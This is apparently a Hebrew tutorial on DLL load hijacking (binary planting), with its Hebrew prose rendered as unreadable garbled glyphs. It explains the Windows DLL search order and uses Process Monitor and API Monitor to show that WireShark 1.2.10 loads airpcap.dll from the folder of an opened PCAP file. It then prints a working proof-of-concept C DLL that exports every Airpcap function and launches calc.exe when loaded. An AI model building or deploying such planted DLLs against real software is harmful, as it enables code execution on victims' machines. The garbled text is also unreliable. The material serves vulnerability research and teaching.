¶ ˢ˧˰˟ ˶ˣ˸˲˪ ˟˷˥ˬ˪ ˫ˣ˶ˠ˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ . ˪˰ ˢ˦˪˥ˢ ˧ˢˣˤ ˫˞ ˭˧˟˫˧˟˸ˣ˩ ˣˮ˥ˮ˞˷ ˵˥˷ˬ˟ ˡ˰˴ ,

˸˶˥˞ ˢ˧˰˟ ˪˩ ˪˷ ˭ˣ˶˸˲ ˢˤ ˫˞ ˭˧˟ˣ. 

¶ ˢ˧˰˟˪ ˠˣ˴˧˧ ˞ˣ˴ˬ˪ ˫˧˩˧˶˴ ˣˮ˥ˮ˞˷ ˣˮˡˬ˪ , ˪˷ ˟˴ˬ˪ˣ"˫˪ˣ˰ˢ "-  ˸ˣˮ˰˪ ˪˩ˣ˧ ˟˷˥ˬˢ˷ ˸ˮˬ ˪˰

˞˧˟ˬ ˞ˣˢ˷ ˢ˶ˣ˴˟ ˢ˧˰˟ˢ ˸˞ ˠ˴˧˧˪ ˫˧˩˧˶˴ ˢ˪˞˷ ˪˰ .˫˧˲˶ˠ ˸˶ˤ˰˟ ˠˣ˴˧ ˣˮˬˠˡˢ , ˪˩ ˶˷˞˩

ˢ˦˪˥ˢ ˣˤ ˫˧˸ˬ˴ ˭˧˟ ˶˟˰ˬ. 

¶ ˬ ˰ˡ˧ˬˢ˷˩ ˱˶ˠ ˸˶ˣ˴˟ ˭ˠ˶ˣ˞ï ˷ˣ˲˧˥ ˣ˧˪˰ ˰˴˟˪ ˨˧˶˴ ,ˢ˧˰˟ ˶ˣ˸˲˪ ˟˷˥ˬ˪ ˣˮˬ˶ˠ ˨˩ˣ !

 ˸ˣ˸˷˵ˢ ˱˴˶ ˢ˧ˢ˸ ˷ˣ˲˧˥ˢ ˪˷ ˢ˞˴ˣ˸ˢ)˫˧ˡ˰˴ˢ ( ˰˧ˠˢ˪ ˸ˮˬ ˪˰ ˸ˣ˷˰˪ ˫˧˩˧˶˴ ˣˮ˥ˮ˞˷

˷˵ˣ˟ˬˢ ˭ˣ˶˸˲˪) . ˧˪ˣ˞ ˣ˞ï  ˸ˬˣ˴ˢ ˪˷ ˨˶˰ˢ ˦ˣ˷˲ ˢ˧ˢ˸ ˢ˞˴ˣ˸ˢï ˢ˴˶ˮ˷ ˢˬ˪ ˫˞˸ˢ˟.( 

 

ˢ˞˪ˢ ˢˬ ?˲˧˴˲˯ ˞ˬˠˣˡ ˢ˞˶ˮ ˞˟ˢ ˶ˬ˞ˬ˟ˢ˧˰˟˪ ˸˧ ,ˣˠ˴ˣˢ˷ ˸ˣ˵˧ˮ˩˦ˢ ˸˶ˤ˰˟ ˭ˣ˶˸˲˪ˣ ˠˣ˴˧˧˪ . 

 ˣˮ˪˷ ˸ˣ˪˟ˠˬˢ ˞˷ˣˮ˪ ˶˸ˣ˧ ˯ˮ˩ˮ ˱˯ˣˮ˟)˭ˣ˶˩ˤ ,˭ˬˤ( , ˫˧˪˲˦ˬ ˡ˴˧˩ ˫ˠ ˢ˞˶ˮˣ ˸ˣ˧˰˟ˢ ˪˷ ˭ˣ˩ˮ ˠˣ˴˧˪

˫˧ˬ˸˧˶ˣˠ˪˞ˢ ˪˷ ˧ˣˮ˧˷ ˧ˡ˧ ˪˰ ˶˸ˣ˧ ˸ˣ˩˟ˣ˯ˬ ˸ˣ˧˰˟˟. 
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Biting the hand with DLL Load Hijacking and 

Binary Planting   
˸˞ˬ TheLeader 

 

ˢˬˡ˵ˢ 

 

 ˸ˣ˷˪ˣ˥˟ ˵ˣ˯˰˧ ˢˤ ˶ˬ˞ˬDLL Load Hijacking / Binary Planting.  ˠˣ˯ˬ ˸ˣ˷˪ˣ˥ ˧˩ ˶˧ˢ˟ˢ˪ ˟ˣ˷˥DLL 

Load Hijacking )˸˧ˬ˞ˮ˧ˡ ˸˶˷ˣ˵ˬ ˢ˧˧˶˲˯ ˸ˮ˧˰˦ ˪˰ ˸ˣ˦˪˸˷ˢ ( ˧ˮ˲˪ ˶˟˩ ˣ˪˴ˣˮ10 ˸ˣ˥˲˪ ˫˧ˮ˷ .

 ˪˷ ˫ˣ˯˶˲ˢ ˸ˣ˟˵˰˟ ˢˮˣ˶˥˞˪HD Moore ) ˪˷ ˡ˯˧˧ˬˢˣ ˢ˥˦˟˞ˢ ˶˵ˣ˥Project Metasploit ( ˪˷ ˠˣ˪˟˟

Metasploit ˦˲ˣ˯ˣ˶˵˧˧ˬ ˸˟ˣˠ˸ˣ , ˣ˟˸˩ˮˣ ˸˧ˬ˪ˣ˰ˢ ˰ˡ˧ˬˢ ˸˥˦˟˞ ˸˪˧ˢ˵ ˡ˴ˬ ˟˪ ˸ˬˣ˷˸ ˨˷ˬ ˭˧˧ˮ˰ˢ

) ˫˧ˬˣ˪˰ ˫˧ˬ˶ˣˠ ˧ˡ˧ ˪˰; ( [ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˟ ˣ˪˞˩ ˢ˥˦˟˞ ˧˶ˣ˥ ˫˧˪˴ˮˬ˷ ˫˧˦˧ˣ˪˲˯˵˞Windows 

˸ˣ˲˯ˣˮ ˸ˣ˰ˣˡ˧ ˸ˣˮ˩ˣ˸ˣ , ˪˷ ˵˟ˬ˞˵ˢ ˸˞ ˞˧˟ˢ ˢ˷˰ˬ˪˷ ˢˬDLL Load Hijacking. 

 ˢˤ ˢˬ ˤ˞DLL Load Hijacking ? ˣˢˬ ˶˧˟˯ˢ˪ ˪˩ ˸˧˷˞˶ ˨˶˦˴ˮ ˸˞ˤ ˶˧˟˯ˢ˪ ˸ˮˬ ˪˰DLL. 

DLL )˸˧ˬ˞ˮ˧ˡ ˸˶˷ˣ˵ˬ ˢ˧˧˶˲˯ (˸ˣ˧˴˵ˮˣ˲ ˪˷ ˢ˧˧˶˲˯ ˢ˷˰ˬ˪ ˞˧ˢ . ˷ˬ˸˷ˢ˪ ˸ˮ˧˧ˮˣ˰ˬ ˸˧ˮ˩ˣ˸ ˶˷˞˩

 ˢ˧˴˵ˮˣ˲˟ ˪˷ˬ˪MessageBoxA , ˢ˧˧˶˲˯ˢˣ ˢˡ˧ˬ˟user32.dll ˷˞˶ˬ ˢ˶˷ˣ˵ ˞˪ ,˪ ˨˶˦˴˸ ˞˧ˢ ˸˞ ˭ˣ˰˦

 ˢ˧˧˶˲˯ˢ ˸˞user32.dll ˢ˪˷ ˧˪˞ˣ˦˶˧ˣˢ ˸ˣ˟ˣ˸˩ˢ ˟˥˶ˬ ˨ˣ˸ ˪˞ , ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˞˟˧˧˪ˣMessageBoxA 

ˢ˧˧˶˲˯ˢˬ. 

˟ ˫ˣ˵ˬ ˭ˣˬˢ ˸˩˯ˣ˥ ˣˤ˩ ˢ˷˧ˠ-RAM )˸˧˞˶˵˞ ˢ˷˧ˠ ˭ˣ˶˩˧ˤ ( ˸˥˞ ˫˰˲ ˵˶ ˢ˲ˬ˸ˬ ˢ˷˰ˬ˪ ˢ˧˧˶˲˯ ˪˩ ˧˩

 ˢ˟ ˷ˬ˸˷ˢ˪ˣ ˢ˸ˣ˞ ˭ˣ˰˦˪ ˫˧˪ˣ˩˧ ˫˧˩˧˪ˢ˸ ˶˲˯ˬˣ ˧ˤ˧˲ˢ ˭ˣ˶˩˧ˤˢ ˨ˣ˸˪˸˧ˮˬˤ ˣ˟ , ˪˩ ˸ˮ˧˥˟ˬ ˶˷˞˩

ˣ˪˷ ˧˪˞ˣ˦˶˧ˣˢ ˸ˣ˟ˣ˸˩ˢ ˟˥˶ˬ ˨ˣ˸˟ ˞˴ˬˮ ˢ˧˧˶˲˯ˢ ˪˷ ˡˣ˵ˢ ˨˧˪ˢ˸ , ˭˸ˣ˞˪ ˫˧˷ˠ˧ˮ ˢ˷˰ˬ˪ ˫˪ˣ˩ ˪˟˞

˸ˣ˧ˤ˧˲ ˸ˣ˟ˣ˸˩ . 
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˸˧˪˞ˣˤ˧ˣ ˢ˶ˣ˴˟ ˭˧˧ˮ˰ˢ ˸˞ ˢ˷˧˥ˬˬ ˢ˞˟ˢ ˢˬ˶ˠ˞˧ˡˢ: 

 

˪ ˢˡˣ˸- Richard R. Eckert˧ˮˣ˞ˬ 'Binghamton - http://www.cs.binghamton.edu/~reckert/360/19_dll_f03.html 

 

 ˫˧ˮ˰ˣ˦ ˡ˴˧˩DLL? 

 

ˢ˧˧˶˲˯ ˸ˮ˧˰˦˪ ˢ˧˴˵ˮˣ˲˟ ˫˧˷ˬ˸˷ˬ , ˪˷ˬ˪LoadLibraryA )ˢ ˸˧˧˴˞˧˶ˣ ˞˧ˢ˷-ASCII  ˢ˧˴˵ˮˣ˲ˢ ˶ˣ˟˰

LoadLibrary .(ˣ˟ˠ ˢ˧˴ˮˠ˧˪˦ˮ˧˞ ˸ˬ˶˟ ˣˮ˥ˮ˷ ˫˩˧ˮ˧˟ˬ ˣ˪˞ ˷ˬ˸˷ˢ˪ ˢ˪ˣ˩˧ ˸˧ˮ˩ˣ˸ˢ ˡ˴˧˩ ˣ˪˞˷˧ ˢˢ

 ˢ˧˴˵ˮˣ˲˟LoadLibraryA ? ˢ˧˴˵ˮˣ˲ˢ ˞˪ˢLoadLibraryA ˟ ˸˞˴ˬˮ ˢˬ˴˰-DLL ˣˢ˷˪˩ . ˢ˪˞˷˪ ˢ˟ˣ˷˸ˢ

 ˢ˦ˣ˷˲ ˞˧ˢ ˣˤï ˭ˣ˰˦˪ ˭˸˧ˮDLL  ˸˧ˮ˩ˣ˸ˢ ˸˴˧˶ ˭ˬˤ˟ ˧ˬ˞ˮ˧ˡ ˭˲ˣ˞˟ , ˷˞˶ˬ ˸˧ˮ˩ˣ˸ˢ ˸˞ ˶˷˵˪ ˣ˞

ˢ˧˧˶˲˯˪ , ˶ˣˡ˧ˢˢ ˶˥˞˪ ˰˴˟˸ˬ ˢˤ ˨˧˪ˢ˸)Compilation(  ˶ˣ˷˧˵ ˞˶˵ˮˣ)Linkage.( 

 ˸˞˶˵ˮˣ ˸˩˶˰ˬˢ ˪˷ ˢ˟˧˪˟ ˸˞˴ˬˮ ˸˧˯˧˯˟ˢ ˢ˧˧˶˲˯ˢkernel32.dll ï  ˸ˣ˧˴˵ˮˣ˲ˢ ˪˩ ˸ˣ˞˴ˬˮ ˢ˩ˣ˸˟

ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˨ˣ˸˟ ˧˯˧˯˟ ˡˣ˵˲˸ ˶ˣ˟˰ ˸ˣˡ˰ˣ˧ˬˢ , ˸˧ˮ˩ˣ˸ ˪˩ˣWin32 ˣˤ ˢ˧˧˶˲˯˪ ˸˶˷ˣ˵ˬ. ˢ˧˧˶˲˯ˢ

kernel32.dll ˧ˡ ˢˮ˧˰˦˪ ˸ˣ˷ˣ˶ˡˢ ˸ˣ˧˴˵ˮˣ˲ˢ ˸˞ ˶˞˷ˢ ˭˧˟ ˢ˪˧˩ˬ˸ˣ˧˶˲˯ ˪˷ ˸˧ˬ˞ˮ. 

 

http://www.cs.binghamton.edu/~reckert/360/19_dll_f03.html
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 ˸˰ˡˣˢ ˳˧˲˵ˢ˪ ˞˧ˢ ˢ˸˶˦ˬ˷ ˢ˞˟ˢ ˸˧ˮ˩ˣ˸ˢ ˸˞ ˪˷ˬ˪ ˥˵˧ˮ"Hello." 

#include <windows.h>  

typedef void (*FUNCPTR)(int, void*, void*, int);  

FUNCPTR MessageBoxA_func;  

 

int main()  

{  

  HMODULE lib_user32 = LoadLibraryA("user32.dll");  

  MessageBoxA_ func = (FUNCPTR)(GetProcAddress(lib_user32, 

"MessageBoxA"));  

  MessageBoxA_func(0, "Hello.", "Hello!", MB_OK);  

  return 0;  

}  

 ˶ˡˢˮ)˪˲ˬ˵ˮ (˳˧˶ˮˣ: 

C: \ > dev - cpp \  projects \ msg\ msg.exe  

 

˸ˮ˰˦ˮ ˢ˧˧˶˲˯ˢ ,˸˞˶˵ˮ ˢ˧˴˵ˮˣ˲ˢ ,˸˴˲ˣ˵ ˢ˰ˡˣˢˢ ,˸ˣ˴˧˧˴ˬ ˫˧˶ˣ˲˧˴ˢˣ ˸˥˶ˣˤ ˷ˬ˷ˢ . ˢ˶ˣ˵˷ ˢˬ

 ˞ˣˢ ˫˧˰˪˵ˢ ˧˶ˣ˥˞ˬï  ˢ˧˴˵ˮˣ˲ˢLoadLibrary  ˳˟ˣ˵ˢ ˸˞ ˸˷˲˥ˬuser32.dll ˫˧˞˟ˢ ˫˧˟˧˸ˮ˟ , ˧˲˪

˶ˡ˯ˢ: 

1.  ˣˮ˪˷ ˸˧ˮ˩ˣ˸ˢ ˸˞˴ˬˮ ˣ˟ ˟˧˸ˮˢï C:\dev-cpp\  projects\msg\ 

2.  ˟˧˸ˮˢ%windir%\system32 ï C:\windows\system32\ 

3.  ˟˧˸ˮˢ%windir%\system ï C:\windows\system\ 

4. Current Working Directory )˧˥˩ˣˮˢ ˢˡˣ˟˰ˢ ˟˧˸ˮ( , ˣˮ˪˷ ˸˧ˮ˩ˣ˸ˢ ˢ˴˶ˣˢ ˣˮˬˬ ˟˧˸ˮˢï C:\ 

5.  ˢ˟˧˟˯ˢ ˢˮ˸˷ˬ˟ ˫˧ˮ˧ˣ˴ˬ˷ ˫˧˟˧˸ˮˢPATH. 

 ˫˞ ˢ˶ˣ˵ ˢ˧ˢ ˢˬuser32.dll ˫˧ˮˣ˷˞˶ˢ ˫˧˟˧˸ˮˢ ˸˷ˣ˪˷˟ ˞˴ˬˮ ˢ˧ˢ ˞˪ ? ˢ˧˴˵ˮˣ˲ˢLoadLibrary 

 ˟˧˸ˮ˟ ˣ˸ˣ˞ ˸˷˲˥ˬ ˢ˸˧˧ˢC:\. 

˟ ˫˧˥˸ˣ˲ ˶˷˞˩-Windows Explorer ˵ˣ˧˪˞ ˸˩˧ˣ˷ˬˢ ˸˧ˮ˩ˣ˸ˢ ˧ˡ˧ ˪˰ ˳˟ˣ , ˪˷ˬ˪ï  ˪˰ ˢ˪ˣ˲˩ ˢ˴˧˥˪

 ˳˟ˣ˵TXT ,Explorer  ˣˮ˧ˢ ˸˧ˮ˩ˣ˸ˢ ˸˴˶ˣˬ ˣˮˬˬ˷ ˧˥˩ˣˮˢ ˢˡˣ˟˰ˢ ˟˧˸ˮ ˣ˟˷ ˭˲ˣ˞˟ ˸˧ˮ˩ˣ˸ˢ ˸˞ ˪˧˰˲ˬ

˳˟ˣ˵ˢ ˪˷ ˟˧˸ˮˢ .˭˧˧ˮ˰ˬˢ ˵˪˥ˢ ˯ˮ˩ˮ ˭˞˩.  ˠˣ˯˪ ˸˩˧ˣ˷ˬˢ ˸ˬ˧ˣ˯ˬ ˸˧ˮ˩ˣ˸ ˫˧˥˸ˣ˲ ˶˷˞˩ ˢ˶˵˧ ˢˬ

ˣˢ˷˪˩ ˳˟ˣ˵ , ˪˷ˬ˪WireShark ) ˧˴˟˵˪ ˸˩˧˧ˣ˷ˬPCAP( , ˸ˬ˧˧˵ ˞˪˷ ˢ˧˧˶˲˯ ˭ˣ˰˦˪ ˢ˯ˮˬ ˸˧ˮ˩ˣ˸ˢˣ

˫˧ˮˣ˷˞˶ˢ ˫˧˟˧˸ˮˢ ˸˷ˣ˪˷˟ ?˭˩˟ˣ ,LoadLibrary ˢ ˸˞ ˭ˣ˰˦˪ ˢ˯ˮ˸-DLL  ˞˴ˬˮ ˣ˟˷ ˟˧˸ˮˢ ˨ˣ˸ˬ

˳˟ˣ˵ˢ .˸ˣ˧˸˧˧˰˟ˢ ˸˞ ˫˧˞ˣ˶ ? ˣ˪˷ ˭˟˶ˣ˵˪ ˵˲˯˪ ˪˩ˣ˧ ˧˪˞˧˴ˮ˦ˣ˲ ˱˵ˣ˸) ˸ˣ˰˴ˬ˞˟Disk-On-Key ˪˷ˬ˪ (

˟ ˫˧˞˴ˬˮ ˶˷˞ ˫˧˴˟˵ ˧ˮ˷ ˟˧˸ˮˢ ˣ˸ˣ˞ï  ˳˟ˣ˵PCAP  ˳˟ˣ˵ˣDLL ˰ˣˠˮ . ˶˷˞˩WireShark ˪ ˞˶˵˸-

LoadLibrary ˢ ˸˞ ˭ˣ˰˦˪ ˭ˣ˧˯˧ˮ˟-DLL ,LoadLibrary ˫˧ˮˣ˷˞˶ˢ ˫˧˟˧˸ˮˢ ˸˷ˣ˪˷˟ ˣ˸ˣ˞ ˷˲˥˸. 

 ˭˩˪ˣ ˫˷ ˞˴ˬ˧ ˞˪ ˳˟ˣ˵ˢLoadLibrary ˢ ˳˟ˣ˵ ˞˴ˬˮ ˣ˟ ˟˧˸ˮ˟ ˣ˸ˣ˞ ˷˲˥˸-PCAP , ˸˞ ˞˴ˬ˸ ˞˧ˢ ˫˷

ˢ ˳˟ˣ˵-DLL  ˷ ˪˸˷ˣˢ˷ ˰ˣˠˮˢ˪˰ ˫-ˡ˰ˣˬ ˡˣ˰˟ˬ ˱˵ˣ˸ˢ ˧ˡ˧ . ˸˧ˮ˩ˣ˸ˢ˷ ˞ˣˢ ˭˩ˬ ˶˥˞˪ ˡ˧ˬ ˢ˶˵˧˷ ˢˬ

WireShark ˭˰˦˸DLL  ˰ˣˠˮ , ˣ˪˷ ˸ˣ˧˴˵ˮˣ˲˟ ˷ˬ˸˷˸ˣï ˶ˬˣ˪˩ , ˡˣ˵ ˸˴˶ˢPWNED. 
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˭˥˟ˬ ˸˰˧˯ˮ 

 

˫˧˪˩: 

- Process Monitor  ˪˷SysInternals : 
http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx 

 
- API Monitor  ˪˷Rohitab: 

http://www.rohitab.com/apimonitor 

 
- Bloodshed Dev-C++: 

http://sourceforge.net/projects/dev-cpp/files/Binaries/ 

 
- OllyDBG )˧˪ˮˣ˧˴˲ˣ˞:( 

http://www.ollydbg.de/ 

 

˸ˣˮˣ˧˯˧ˮ ˭˲˷: 

- WireShark 1.2.10: 
http://media-2.cacetech.com/wireshark/win32/wireshark-win32-1.2.10.exe 

 

˪˩ ˸˧˷˞˶ , ˸˞ ˭˧˵˸ˮWireShark  ˸ˬˣ˧˯ˢ ˧˪˰˟ ˫˧˴˟˵˪ ˨˧ˣ˷ˬ ˞ˣˢ˷ ˞ˡˣˣˮˣPCAP .˱˯ˣˮ˟ , ˢ˧˧˵˧˸ ˶ˣ˴˧ˮ

 ˫˷˟ ˣˮ˪˷ ˢˡˣ˟˰ˢ ˭˥˪ˣ˷ ˪˰testdir , ˸ˬˣ˧˯˟ ˵˧˶ ˳˟ˣ˵ ˶ˣ˴˧ˮ ˢ˩ˣ˸˟ˣPCAP. 

 ˡˣ˟˰˪ ˪˧˥˸ˢ˪ ˭˸˧ˮ ˸˰˩ï  ˸˞ ˪˧˰˲ˮProcess Monitor ˞˟ˢ ˶˦˪˧˲ˢ ˸˞ ˱˧˯ˣˮˣ: 

Column Relation Value Action 

Path begins with [path to testdir] Include 

Process Name is wireshark.exe Include 

 

 ˳˥˪ˮOK  ˣˮ˪˷ ˢ˧˧˵˧˸˪ ˸ˣ˷˧ˠ˪ ˟˧˷˵ˢ˪ ˪˧˥˸˧ ˞ˣˢˣ. 
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 ˶˦˪˧˲ ˱˧˯ˣˮ ˭˩ ˣˬ˩Highlight  ˢˡˣ˷˥ ˸ˣ˪˧˰˲ ˸ˣ˪˧˩ˬ˷ ˸ˣ˶ˣ˷ ˦˧˪˟ˢ˪ ˸ˮˬ ˪˰ï CTRL+H: 

Column Relation Value Action 

Path ends  with .dll Include 

Path ends with .ocx Include 

Path ends with .drv Include 

Path ends with .sys Include 

Path contains % Include 

 

˪ ˭˸˧ˮ ˸˰˩-Process Monitor ˣˮ˪˷ ˟˧˸ˮˢ ˪˞ ˸ˣ˰˴˟˸ˬ˷ ˸ˣ˷˧ˠ˪ ˭˧ˤ˞ˢ˪ . ˳˟ˣ˵ ˶ˣ˴˧ˮPCAP   ˪˧˰˲ˮˣ ˵˧˶

ˣ˸ˣ˞: 

 

ˣˮ˪˷ ˳˟ˣ˵ˢ ˪˷ ˟˧˸ˮˢˬ ˸ˣ˧˶˲˯ ˭ˣ˰˦˪ ˢ˯ˮˬ ˣˢ˷˧ˬ˷ ˢ˞˶ˮ.˫˸˧˞ ˢ˷ˣ˰ ˞ˣˢ ˢˬ ˭˧˟ˢ˪ ˢ˯ˮˮ ? ˭ˬ

˭ˢ˟ ˷ˬ˸˷ˬ ˞ˣˢ˷ ˸ˣ˧˴˵ˮˣ˲ ˸ˣ˧˶˲˯˟ ˷˧ ˫˸˯ˢ ,˭˩ ˞˪ˢ ?˵ˣˡ˟ˮˣ ˢ˟ˢ . ˟˧˴ˢ˪ ˣˮ˧˪˰ ˸˧˷˞˶"˭ˣ˧˸˧˲ "ï 

DLL  ˢ˧˴˵ˮˣ˲ˢˣ ˭˧˵˸ ˢˮ˟ˬ ˣ˪ ˷˧˷ ˣˢ˷˪˩LoadLibrary ˣ˸ˣ˞ ˭ˣ˰˦˪ ˥˧˪˴˸. 

ˡˣ˵˲ ˸˶ˣ˷ ˥˸˲ˮ s, ˸˞ ˵˧˸˰ˮˣuser32.dll  ˫˷ˢ ˸˥˸ ˣˮ˪˷ ˢ˧˧˵˧˸˪airpcap.dll: 

C: \ > copy C: \ windows \ system32 \ user32.dll Users \ user \ testdir 

\ airpcap.dll  
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 ˸˞ ˪˧˰˲ˮ ˸˰˩API Monitor-  ˫˷˟ ˢ˟˧˸ ˷˧ ˭˧ˬ˧ ˡ˴˟API Capture Filter , ˸˞ ˫˷ ˭ˬ˯ˮDynamic-Link 

Library: 

 

˪ ˢ˶ˣˬ ˣˤ ˢ˪ˣ˰˲-API Monitor  ˰˴˟˪Hooking ˸ˣ˧˶˲˯˟ ˪ˣ˲˧˦˪ ˸ˣ˶ˣ˷˵˷ ˸ˣ˧˴˵ˮˣ˲ˢ ˪˰. 

 ˭˧˵˸ˮ ˸˰˩Hook  ˨˧˪ˢ˸ˢ ˪˰- CTRL+H: 
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˭˧˵˸ ˪˩ˢˣ ˢˡ˧ˬ˟ , ˸ˣ˞˧˶˵˪ ˰ˠ˶˩ ˭˧ˤ˞ˢ˪ ˫˧˶ˣˬ˞ ˣˮ˥ˮ˞API . ˸˞ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰ ˶˴˵ ˷ˣ˲˧˥ ˰˴˟ˮ

ˢ ˭˰˦ˮ ˣ˟ ˫ˣ˵˧ˬˢ-DLL ˣˮ˪˷ .CTRL+F ,"airpcap.dll ..."˞˴ˬˮ ˞ˣˢˣ. 

 

-sDLL ˩˞ ˣˮ˪˷ ˸˟ˣ˸˩˪ ˭˰˦ˮ ˭0x63d00000  ˢ˧˴˵ˮˣ˲ˢ ˧ˡ˧ ˪˰LoadLibraryW  )ˢ ˸˧˧˴˞˧˶ˣ-Wide char 

 ˪˷LoadLibrary( , ˭˩ˬ ˶˥˞˪ˣWireShark  ˸ˣ˰˴ˬ˞˟ ˸ˣ˧˴˵ˮˣ˲ ˪˷ ˢ˩ˣ˶˞ ˢˬ˧˷˶ ˣ˩ˣ˸˟ ˞ˣ˴ˬ˪ ˢ˯ˮˬ

 ˢ˧˴˵ˮˣ˲ˢGetProcAddress .˫˷ ˢˬ˧˷˶ ˸˩˧˸˥ . ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˢ˶ˤ˥ˢ ˨˶˰ ˧˩ ˸ˣ˞˶˪ ˭˸˧ˮ

GetProcAddress ˰ ˞ˣˢ ˣ˪˞ˢ ˸ˣ˧˴˵ˮˣ˲ˢ ˸ˣˬ˷ ˪˩ ˶ˣ˟NULL ï  ˣˬ˩ ˢ˧˴˵ˮˣ˲ ˞ˣ˴ˬ˪ ˣˮ˧˲˧˴ ˸ˬ˞˟ ˞˪

AirpcapSetFilter  ˨ˣ˸˟user32.dll ,˭ˣ˩ˮ? 

˧ˮˣ˴˧˥ ˨˶ˣ˰˪ ˢ˸ˣ˞ ˞˴˧˧˪ ˸ˮˬ ˪˰ ˢ˪˟˦ˢ ˸˞ ˵˧˸˰ˮ: 

[CTRL + A] )˪˩ˢ ˶˥˟(+  [CTRL + C] )˵˸˰ˢ(  

ˢˡˣ˟˰ ˦˰ˬ ˫˩˪ ˨ˣ˯˥˞ ,ˮ˰˦ˮ˷ ˸ˣ˧˴˵ˮˣ˲ˢ ˪˷ ˢ˞˪ˬˢ ˢˬ˧˷˶ˢ ˢˮˢ ˸˟ˣ˸˩ˢˬ ˸ˣ0x63d00000 ) ˦ˣ˷˲

ˠ˶ˢ ˸˧˧˴˵ˮˣ˲˷ ˶ˬˣ˞'˟ ˯˵-Notepad++ ˸˦˪ˣ˷:( 

AirpcapGetLastError, AirpcapGetDeviceList, AirpcapFreeDeviceList, 

AirpcapOpen, AirpcapClose, AirpcapGetLinkType, AirpcapSetLinkType, 

AirpcapSetKernelBuffer, AirpcapSetFilter, AirpcapGetM acAddress, 

AirpcapSetMinToCopy, AirpcapGetReadEvent, AirpcapRead, AirpcapGetStats, 

AirpcapTurnLedOn, AirpcapTurnLedOff, AirpcapGetDeviceChannel, 

AirpcapSetDeviceChannel, AirpcapGetFcsPresence, AirpcapSetFcsPresence, 

AirpcapGetFcsValidation, AirpcapSetFcsVa lidation, AirpcapGetDeviceKeys, 

AirpcapSetDeviceKeys, AirpcapGetDecryptionState, 

AirpcapSetDecryptionState, AirpcapStoreCurConfigAsAdapterDefault, 

AirpcapGetVersion, AirpcapGetDriverDecryptionState, 

AirpcapSetDriverDecryptionState, AirpcapGetDriverKeys, 

Ai rpcapSetDriverKeys, AirpcapSetDeviceChannelEx, 

AirpcapGetDeviceChannelEx, AirpcapGetDeviceSupportedChannels  
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 ˭˧˩ˢ˪ ˞ˣˢ ˸˰˩ ˸ˣ˷˰˪ ˶˸ˣˮ˷ ˢˬDLL  ˞˴˧˧ˬ˷)Export ( ˪˷ ˢ˴˧˶ˢ ˸˞ ˢˮ˲ˬˣ ˣ˪˞ˢ ˸ˣ˧˴˵ˮˣ˲ˢ ˪˩ ˸˞

 ˧ˮˣˡˤ ˡˣ˵ ˣˢ˷ˤ˧˞˪ ˸˧ˮ˩ˣ˸ˢï  ˸˧ˮ˩ˣ˸ˢ ˸˞ ˪˧˰˲ˬ ˣˮ˪˷ ˢ˶˵ˬ˟CALC.EXE. 

)˟ ˧˸˟˸˩˷ ˦˧ˣ˪˲˯˵˞ˬ ˵˪˥ ˞ˣˢ ˞˟ˢ ˡˣ˵ˢ-24/08/2010  ˭ˣ˧˷˧˶ ˸˥˸ ˭˞˩ ˶˶˥ˣ˷ˬ ˞ˣˢˣGPL.( 

#include <windows.h>  

#define DLLIMPORT __declspec (dllexport)  

  

DLLIMPORT void AirpcapGetDeviceList() { evil(); }  

DLLIMPORT void AirpcapFreeDeviceList() { evil(); }  

DLLI MPORT void AirpcapOpen() { evil(); }  

DLLIMPORT void AirpcapClose() { evil(); }  

DLLIMPORT void AirpcapGetLinkType() { evil(); }  

DLLIMPORT void AirpcapSetLinkType() { evil(); }  

DLLIMPORT void AirpcapSetKernelBuffer() { evil(); }  

DLLIMPORT void AirpcapSetFilt er() { evil(); }  

DLLIMPORT void AirpcapGetMacAddress() { evil(); }  

DLLIMPORT void AirpcapSetMinToCopy() { evil(); }  

DLLIMPORT void AirpcapGetReadEvent() { evil(); }  

DLLIMPORT void AirpcapRead() { evil(); }  

DLLIMPORT void AirpcapGetStats() { evil(); }  

DLLIMPORT void AirpcapTurnLedOn() { evil(); }  

DLLIMPORT void AirpcapTurnLedOff() { evil(); }  

DLLIMPORT void AirpcapGetDeviceChannel() { evil(); }  

DLLIMPORT void AirpcapSetDeviceChannel() { evil(); }  

DLLIMPORT void AirpcapGetFcsPresence() { evil(); }  

DLLIMPORT void AirpcapSetFcsPresence() { evil(); }  

DLLIMPORT void AirpcapGetFcsValidation() { evil(); }  

DLLIMPORT void AirpcapSetFcsValidation() { evil(); }  

DLLIMPORT void AirpcapGetDeviceKeys() { evil(); }  

DLLIMPORT void AirpcapSetDeviceKeys() { evil(); }  

DLLIMPORT void AirpcapGetDecryptionState() { evil(); }  

DLLIMPORT void AirpcapSetDecryptionState() { evil(); }  

DLLIMPORT void AirpcapStoreCurConfigAsAdapterDefault() { evil(); }  

DLLIMPORT void AirpcapGetVersion() { evil(); }  

DLLIMPORT void AirpcapGetDriverDecryptionS tate() { evil(); }  

DLLIMPORT void AirpcapSetDriverDecryptionState() { evil(); }  

DLLIMPORT void AirpcapGetDriverKeys() { evil(); }  

DLLIMPORT void AirpcapSetDriverKeys() { evil(); }  

DLLIMPORT void AirpcapSetDeviceChannelEx() { evil(); }  

DLLIMPORT void Airpca pGetDeviceChannelEx() { evil(); }  

DLLIMPORT void AirpcapGetDeviceSupportedChannels() { evil(); }  

  

int evil()  

{  

  WinExec("calc", 0);  

  exit(0);  

  return 0;  

}  
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 ˸ˣ˰˴ˬ˞˟ ˪˲ˬ˵ˮDev-C++ ,ˣˮ˶˴˧˷ ˢ˧˧˵˧˸˪ ˶˧˟˰ˮ ˢ˞˴ˣ˸ˢ ˸˞ˣ ,testdir , ˫˷ˢ ˸˥˸airpcap.dll . ˸˰˩

˷ ˥˸˲ˮˢ ˳˟ˣ˵ ˸˞ ˟ˣ-PCAP ˣˮ˪˷ .˫˧˰˸˲ˣˬ? 

 

 ˪˷ ˠˣ˟˧ˡ ˸ˣ˰˴ˬ˞˟ ˢ˧˰˟ˢ ˵ˬˣ˰˪ ˸ˡ˶˪ ˪˩ˣˮWireShark  ˫˰OllyDB , ˸˞ ˟ˣ˷ ˶˧ˡˠˮ˷ ˧˞ˡ˩ ˭˩ ˧ˮ˲˪ ˨˞

ˢ˧˰˟ˢ ˫˶ˣˠ. 

 

ˢ˧˰˟ˢ ˫˶ˣˠ 

 

